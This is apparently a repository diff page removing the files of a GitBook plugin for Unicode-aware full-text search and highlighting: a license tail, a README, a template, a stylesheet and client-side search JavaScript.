other commercial damages or losses), even if such Contributor
|
|
||||||
has been advised of the possibility of such damages.
|
|
||||||
|
|
||||||
9. Accepting Warranty or Additional Liability. While redistributing
|
|
||||||
the Work or Derivative Works thereof, You may choose to offer,
|
|
||||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
|
||||||
or other liability obligations and/or rights consistent with this
|
|
||||||
License. However, in accepting such obligations, You may act only
|
|
||||||
on Your own behalf and on Your sole responsibility, not on behalf
|
|
||||||
of any other Contributor, and only if You agree to indemnify,
|
|
||||||
defend, and hold each Contributor harmless for any liability
|
|
||||||
incurred by, or claims asserted against, such Contributor by reason
|
|
||||||
of your accepting any such warranty or additional liability.
|
|
||||||
|
|
||||||
END OF TERMS AND CONDITIONS
|
|
||||||
|
|
||||||
APPENDIX: How to apply the Apache License to your work.
|
|
||||||
|
|
||||||
To apply the Apache License to your work, attach the following
|
|
||||||
boilerplate notice, with the fields enclosed by brackets "{}"
|
|
||||||
replaced with your own identifying information. (Don't include
|
|
||||||
the brackets!) The text should be enclosed in the appropriate
|
|
||||||
comment syntax for the file format. We also recommend that a
|
|
||||||
file or class name and description of purpose be included on the
|
|
||||||
same "printed page" as the copyright notice for easier
|
|
||||||
identification within third-party archives.
|
|
||||||
|
|
||||||
Copyright {yyyy} {name of copyright owner}
|
|
||||||
|
|
||||||
Licensed under the Apache License, Version 2.0 (the "License");
|
|
||||||
you may not use this file except in compliance with the License.
|
|
||||||
You may obtain a copy of the License at
|
|
||||||
|
|
||||||
http://www.apache.org/licenses/LICENSE-2.0
|
|
||||||
|
|
||||||
Unless required by applicable law or agreed to in writing, software
|
|
||||||
distributed under the License is distributed on an "AS IS" BASIS,
|
|
||||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
|
||||||
See the License for the specific language governing permissions and
|
|
||||||
limitations under the License.
|
|
||||||
|
|
||||||
-57
@@ -1,57 +0,0 @@
|
|||||||
## gitbook-plugin-search-pro
|
|
||||||
|
|
||||||
Gitbook search engine pro. (支持中文搜索)
|
|
||||||
|
|
||||||
You can search any characters(utf-8) and highlight it in your GitBook, not only english(exp:Chinese).
|
|
||||||
|
|
||||||
> Note: Only gitbook >= 3.0.0 support
|
|
||||||
|
|
||||||
### Demo preview
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||

|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||

|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||

|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### Usage
|
|
||||||
|
|
||||||
Before use this plugin, you should disable the default search plugin first,
|
|
||||||
Here is a `book.js` configuration example:
|
|
||||||
|
|
||||||
```js
|
|
||||||
{
|
|
||||||
"plugins": [
|
|
||||||
"-lunr", "-search", "search-pro"
|
|
||||||
]
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
### Example
|
|
||||||
|
|
||||||
After installed gitbook.
|
|
||||||
|
|
||||||
```
|
|
||||||
> git clone git@github.com:gitbook-plugins/gitbook-plugin-search-pro.git -b gh-pages
|
|
||||||
> cd ./gitbook-plugin-search-pro
|
|
||||||
> npm install
|
|
||||||
> gitbook serve ./
|
|
||||||
```
|
|
||||||
|
|
||||||
And then open http://127.0.0.1:4000
|
|
||||||
|
|
||||||
|
|
||||||
### Thanks:
|
|
||||||
* [lwdgit](https://github.com/lwdgit/gitbook-plugin-search-plus)
|
|
||||||
* [gitbook-plugin-lunr](https://github.com/GitbookIO/plugin-lunr)
|
|
||||||
* [gitbook-plugin-search](https://github.com/GitbookIO/plugin-search)
|
|
||||||
* [mark.js](https://github.com/julmot/mark.js)
|
|
||||||
|
|
||||||
-28
@@ -1,28 +0,0 @@
|
|||||||
{% extends template.self %}
|
|
||||||
|
|
||||||
{% block search_input %}
|
|
||||||
<div id="book-search-input" role="search">
|
|
||||||
<input type="text" placeholder="{{ 'SEARCH_PLACEHOLDER'|t }}" />
|
|
||||||
</div>
|
|
||||||
{% endblock %}
|
|
||||||
|
|
||||||
{% block search_results %}
|
|
||||||
<div id="book-search-results">
|
|
||||||
<div class="search-noresults">
|
|
||||||
{{ super() }}
|
|
||||||
</div>
|
|
||||||
<div class="search-results">
|
|
||||||
<div class="has-results">
|
|
||||||
{% block search_has_results %}
|
|
||||||
<h1 class="search-results-title">{{ 'SEARCH_RESULTS_TITLE'|t|safe }}</h1>
|
|
||||||
<ul class="search-results-list"></ul>
|
|
||||||
{% endblock %}
|
|
||||||
</div>
|
|
||||||
<div class="no-results">
|
|
||||||
{% block search_no_results %}
|
|
||||||
<h1 class="search-results-title">{{ 'SEARCH_NO_RESULTS_TITLE'|t|safe }}</h1>
|
|
||||||
{% endblock %}
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
{% endblock %}
|
|
||||||
-7
File diff suppressed because one or more lines are too long
-41
@@ -1,41 +0,0 @@
|
|||||||
/*
|
|
||||||
This CSS only styled the search results section, not the search input
|
|
||||||
It defines the basic interraction to hide content when displaying results, etc
|
|
||||||
*/
|
|
||||||
#book-search-input {
|
|
||||||
background: inherit;
|
|
||||||
}
|
|
||||||
#book-search-results .search-results {
|
|
||||||
display: none;
|
|
||||||
}
|
|
||||||
#book-search-results .search-results ul.search-results-list {
|
|
||||||
list-style-type: none;
|
|
||||||
padding-left: 0;
|
|
||||||
}
|
|
||||||
#book-search-results .search-results ul.search-results-list li {
|
|
||||||
margin-bottom: 1.5rem;
|
|
||||||
padding-bottom: 0.5rem;
|
|
||||||
/* Highlight results */
|
|
||||||
}
|
|
||||||
#book-search-results .search-results ul.search-results-list li p em {
|
|
||||||
background-color: rgba(255, 220, 0, 0.4);
|
|
||||||
font-style: normal;
|
|
||||||
}
|
|
||||||
#book-search-results .search-results .no-results {
|
|
||||||
display: none;
|
|
||||||
}
|
|
||||||
#book-search-results.open .search-results {
|
|
||||||
display: block;
|
|
||||||
}
|
|
||||||
#book-search-results.open .search-noresults {
|
|
||||||
display: none;
|
|
||||||
}
|
|
||||||
#book-search-results.no-results .search-results .has-results {
|
|
||||||
display: none;
|
|
||||||
}
|
|
||||||
#book-search-results.no-results .search-results .no-results {
|
|
||||||
display: block;
|
|
||||||
}
|
|
||||||
#book-search-results span.search-highlight-keyword {
|
|
||||||
background: #ff0;
|
|
||||||
}
|
|
||||||
-261
@@ -1,261 +0,0 @@
|
|||||||
require([
|
|
||||||
'gitbook',
|
|
||||||
'jquery'
|
|
||||||
], function(gitbook, $) {
|
|
||||||
var MAX_DESCRIPTION_SIZE = 500;
|
|
||||||
var state = gitbook.state;
|
|
||||||
var INDEX_DATA = {};
|
|
||||||
var usePushState = (typeof history.pushState !== 'undefined');
|
|
||||||
|
|
||||||
// DOM Elements
|
|
||||||
var $body = $('body');
|
|
||||||
var $bookSearchResults;
|
|
||||||
var $searchList;
|
|
||||||
var $searchTitle;
|
|
||||||
var $searchResultsCount;
|
|
||||||
var $searchQuery;
|
|
||||||
|
|
||||||
// Throttle search
|
|
||||||
function throttle(fn, wait) {
|
|
||||||
var timeout;
|
|
||||||
|
|
||||||
return function() {
|
|
||||||
var ctx = this,
|
|
||||||
args = arguments;
|
|
||||||
if (!timeout) {
|
|
||||||
timeout = setTimeout(function() {
|
|
||||||
timeout = null;
|
|
||||||
fn.apply(ctx, args);
|
|
||||||
}, wait);
|
|
||||||
}
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
function displayResults(res) {
|
|
||||||
$bookSearchResults = $('#book-search-results');
|
|
||||||
$searchList = $bookSearchResults.find('.search-results-list');
|
|
||||||
$searchTitle = $bookSearchResults.find('.search-results-title');
|
|
||||||
$searchResultsCount = $searchTitle.find('.search-results-count');
|
|
||||||
$searchQuery = $searchTitle.find('.search-query');
|
|
||||||
|
|
||||||
$bookSearchResults.addClass('open');
|
|
||||||
|
|
||||||
var noResults = res.count == 0;
|
|
||||||
$bookSearchResults.toggleClass('no-results', noResults);
|
|
||||||
|
|
||||||
// Clear old results
|
|
||||||
$searchList.empty();
|
|
||||||
|
|
||||||
// Display title for research
|
|
||||||
$searchResultsCount.text(res.count);
|
|
||||||
$searchQuery.text(res.query);
|
|
||||||
|
|
||||||
// Create an <li> element for each result
|
|
||||||
res.results.forEach(function(item) {
|
|
||||||
var $li = $('<li>', {
|
|
||||||
'class': 'search-results-item'
|
|
||||||
});
|
|
||||||
|
|
||||||
var $title = $('<h3>');
|
|
||||||
|
|
||||||
var $link = $('<a>', {
|
|
||||||
'href': gitbook.state.basePath + '/' + item.url + '?h=' + encodeURIComponent(res.query),
|
|
||||||
'text': item.title,
|
|
||||||
'data-is-search': 1
|
|
||||||
});
|
|
||||||
|
|
||||||
if ($link[0].href.split('?')[0] === location.href.split('?')[0]) {
|
|
||||||
$link[0].setAttribute('data-need-reload', 1);
|
|
||||||
}
|
|
||||||
|
|
||||||
var content = item.body.trim();
|
|
||||||
if (content.length > MAX_DESCRIPTION_SIZE) {
|
|
||||||
content = content + '...';
|
|
||||||
}
|
|
||||||
var $content = $('<p>').html(content);
|
|
||||||
|
|
||||||
$link.appendTo($title);
|
|
||||||
$title.appendTo($li);
|
|
||||||
$content.appendTo($li);
|
|
||||||
$li.appendTo($searchList);
|
|
||||||
});
|
|
||||||
$('.body-inner').scrollTop(0);
|
|
||||||
}
|
|
||||||
|
|
||||||
function escapeReg(keyword) {
|
|
||||||
//escape regexp prevserve word
|
|
||||||
return String(keyword).replace(/([\*\.\?\+\$\^\[\]\(\)\{\}\|\/\\])/g, '\\$1');
|
|
||||||
}
|
|
||||||
|
|
||||||
function query(keyword) {
|
|
||||||
if (keyword == null || keyword.trim() === '') return;
|
|
||||||
|
|
||||||
var results = [],
|
|
||||||
index = -1;
|
|
||||||
for (var page in INDEX_DATA) {
|
|
||||||
if ((index = INDEX_DATA[page].body.toLowerCase().indexOf(keyword.toLowerCase())) !== -1) {
|
|
||||||
results.push({
|
|
||||||
url: page,
|
|
||||||
title: INDEX_DATA[page].title,
|
|
||||||
body: INDEX_DATA[page].body.substr(Math.max(0, index - 50), MAX_DESCRIPTION_SIZE).replace(new RegExp('(' + escapeReg(keyword) + ')', 'gi'), '<span class="search-highlight-keyword">$1</span>')
|
|
||||||
});
|
|
||||||
}
|
|
||||||
}
|
|
||||||
displayResults({
|
|
||||||
count: results.length,
|
|
||||||
query: keyword,
|
|
||||||
results: results
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
function launchSearch(keyword) {
|
|
||||||
// Add class for loading
|
|
||||||
$body.addClass('with-search');
|
|
||||||
$body.addClass('search-loading');
|
|
||||||
|
|
||||||
function doSearch() {
|
|
||||||
query(keyword);
|
|
||||||
$body.removeClass('search-loading');
|
|
||||||
}
|
|
||||||
|
|
||||||
throttle(doSearch)();
|
|
||||||
}
|
|
||||||
|
|
||||||
function closeSearch() {
|
|
||||||
$body.removeClass('with-search');
|
|
||||||
$('#book-search-results').removeClass('open');
|
|
||||||
}
|
|
||||||
|
|
||||||
function bindSearch() {
|
|
||||||
// Bind DOM
|
|
||||||
var $body = $('body');
|
|
||||||
|
|
||||||
// Launch query based on input content
|
|
||||||
function handleUpdate() {
|
|
||||||
var $searchInput = $('#book-search-input input');
|
|
||||||
var keyword = $searchInput.val();
|
|
||||||
|
|
||||||
if (keyword.length == 0) {
|
|
||||||
closeSearch();
|
|
||||||
} else {
|
|
||||||
launchSearch(keyword);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
$body.on('keyup', '#book-search-input input', function(e) {
|
|
||||||
if (e.keyCode === 13) {
|
|
||||||
if (usePushState) {
|
|
||||||
var uri = updateQueryString('q', $(this).val());
|
|
||||||
history.pushState({
|
|
||||||
path: uri
|
|
||||||
}, null, uri);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
handleUpdate();
|
|
||||||
});
|
|
||||||
|
|
||||||
// Push to history on blur
|
|
||||||
$body.on('blur', '#book-search-input input', function(e) {
|
|
||||||
// Update history state
|
|
||||||
if (usePushState) {
|
|
||||||
var uri = updateQueryString('q', $(this).val());
|
|
||||||
history.pushState({
|
|
||||||
path: uri
|
|
||||||
}, null, uri);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
gitbook.events.on('start', function() {
|
|
||||||
bindSearch();
|
|
||||||
$.getJSON(state.basePath + "/search_plus_index.json").then(function(data) {
|
|
||||||
INDEX_DATA = data;
|
|
||||||
showResult();
|
|
||||||
closeSearch();
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
// 高亮文本
|
|
||||||
var highLightPageInner = function(keyword) {
|
|
||||||
$('.page-inner').mark(keyword, {
|
|
||||||
'ignoreJoiners': true,
|
|
||||||
'acrossElements': true,
|
|
||||||
'separateWordSearch': false
|
|
||||||
});
|
|
||||||
|
|
||||||
setTimeout(function() {
|
|
||||||
var mark = $('mark[data-markjs="true"]');
|
|
||||||
if (mark.length) {
|
|
||||||
mark[0].scrollIntoView();
|
|
||||||
}
|
|
||||||
}, 100);
|
|
||||||
};
|
|
||||||
|
|
||||||
function showResult() {
|
|
||||||
var keyword, type;
|
|
||||||
if (/\b(q|h)=([^&]+)/.test(location.search)) {
|
|
||||||
type = RegExp.$1;
|
|
||||||
keyword = decodeURIComponent(RegExp.$2);
|
|
||||||
if (type === 'q') {
|
|
||||||
launchSearch(keyword);
|
|
||||||
} else {
|
|
||||||
highLightPageInner(keyword);
|
|
||||||
}
|
|
||||||
$('#book-search-input input').val(keyword);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
gitbook.events.on('page.change', showResult);
|
|
||||||
|
|
||||||
function getParameterByName(name) {
|
|
||||||
var url = window.location.href;
|
|
||||||
name = name.replace(/[\[\]]/g, '\\$&');
|
|
||||||
var regex = new RegExp('[?&]' + name + '(=([^&#]*)|&|#|$)', 'i'),
|
|
||||||
results = regex.exec(url);
|
|
||||||
if (!results) return null;
|
|
||||||
if (!results[2]) return '';
|
|
||||||
return decodeURIComponent(results[2].replace(/\+/g, ' '));
|
|
||||||
}
|
|
||||||
|
|
||||||
function updateQueryString(key, value) {
|
|
||||||
value = encodeURIComponent(value);
|
|
||||||
|
|
||||||
var url = window.location.href.replace(/([?&])(?:q|h)=([^&]+)(&|$)/, function(all, pre, value, end) {
|
|
||||||
if (end === '&') {
|
|
||||||
return pre;
|
|
||||||
}
|
|
||||||
return '';
|
|
||||||
});
|
|
||||||
var re = new RegExp('([?&])' + key + '=.*?(&|#|$)(.*)', 'gi'),
|
|
||||||
hash;
|
|
||||||
|
|
||||||
if (re.test(url)) {
|
|
||||||
if (typeof value !== 'undefined' && value !== null)
|
|
||||||
return url.replace(re, '$1' + key + '=' + value + '$2$3');
|
|
||||||
else {
|
|
||||||
hash = url.split('#');
|
|
||||||
url = hash[0].replace(re, '$1$3').replace(/(&|\?)$/, '');
|
|
||||||
if (typeof hash[1] !== 'undefined' && hash[1] !== null)
|
|
||||||
url += '#' + hash[1];
|
|
||||||
return url;
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
if (typeof value !== 'undefined' && value !== null) {
|
|
||||||
var separator = url.indexOf('?') !== -1 ? '&' : '?';
|
|
||||||
hash = url.split('#');
|
|
||||||
url = hash[0] + separator + key + '=' + value;
|
|
||||||
if (typeof hash[1] !== 'undefined' && hash[1] !== null)
|
|
||||||
url += '#' + hash[1];
|
|
||||||
return url;
|
|
||||||
} else
|
|
||||||
return url;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
window.addEventListener('click', function(e) {
|
|
||||||
if (e.target.tagName === 'A' && e.target.getAttribute('data-need-reload')) {
|
|
||||||
setTimeout(function() {
|
|
||||||
location.reload();
|
|
||||||
}, 100);
|
|
||||||
}
|
|
||||||
}, true);
|
|
||||||
});
|
|
||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user